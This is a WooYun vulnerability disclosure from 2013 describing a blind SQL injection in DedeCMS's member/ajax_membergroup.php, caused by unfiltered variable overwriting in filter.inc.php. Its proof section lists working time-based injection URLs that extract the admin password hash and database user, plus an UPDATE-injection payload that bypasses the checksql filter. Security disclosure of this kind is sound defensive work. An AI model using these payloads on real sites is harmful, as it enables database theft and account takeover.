当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043674

漏洞标题:dedecms SQL盲注漏洞(已经确定可以直接update出密码)

相关厂商:Dedecms

漏洞作者: 胸大无脑

提交时间:2013-11-22 12:11

修复时间:2014-02-17 12:11

公开时间:2014-02-17 12:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-22: 细节已通知厂商并且等待厂商处理中
2013-11-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-01-21: 细节向核心白帽子及相关领域专家公开
2014-01-31: 细节向普通白帽子公开
2014-02-10: 细节向实习白帽子公开
2014-02-17: 细节向公众公开

简要描述:

某处盲注,获取任意数据

详细说明:

漏洞处在ROOT_PATH/member/ajax_membergroup.php的53、54行

daima1.png


$mdescription变量是可控的,并且没有任何过滤,为什么?接下里继续看
再看第一行

reuire_config.png


包含了ROOT_PATH/member/config.php
然后跟着
ROOT_PATH/member/config.php

config.php.png


第10行,包含了ROOT_PATH/include/filter.inc.php
接着来到filter.inc.php

filter.png


首先这里有个典型的变量覆盖,并且会遍历里面对其进行过滤
来看看过滤函数

filter_all.png


$cfg_notallowstr是什么
来看看

config.php.png


为空
那么这是干什么的,这个函数是用来过滤敏感词的,比如各种和谐。
意思就是在filter.inc.php里面发生了变量覆盖并且没有任何过滤。
然后ROOT_PATH/member/config.php包含了filter.inc.php。
ROOT_PATH/member/ajax_membergroup.php又去包含了ROOT_PATH/member/config.php
通过覆盖$mdescription
我们可以任意控制sql语句

漏洞证明:

首先要能注册
EXP

http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`


http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`


http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`


QQ截图20131121234622.png


QQ截图20131121234919.png


QQ截图20131121234908.png


http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`


admin.png


view-source:http://localhost/test/dedecms/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=',funame=char(@`'`),description=(select%20user()),funame='


最终成  UPDATE `dede_member_friends` SET `description`='',funame=char(@`'`),description=(select user()),funame='' WHERE `fid`='1' AND `mid`='1'   绕过checksql执行了

修复方案:

filter.inc.php里面做过滤

版权声明:转载请注明来源 胸大无脑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-17 12:11

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无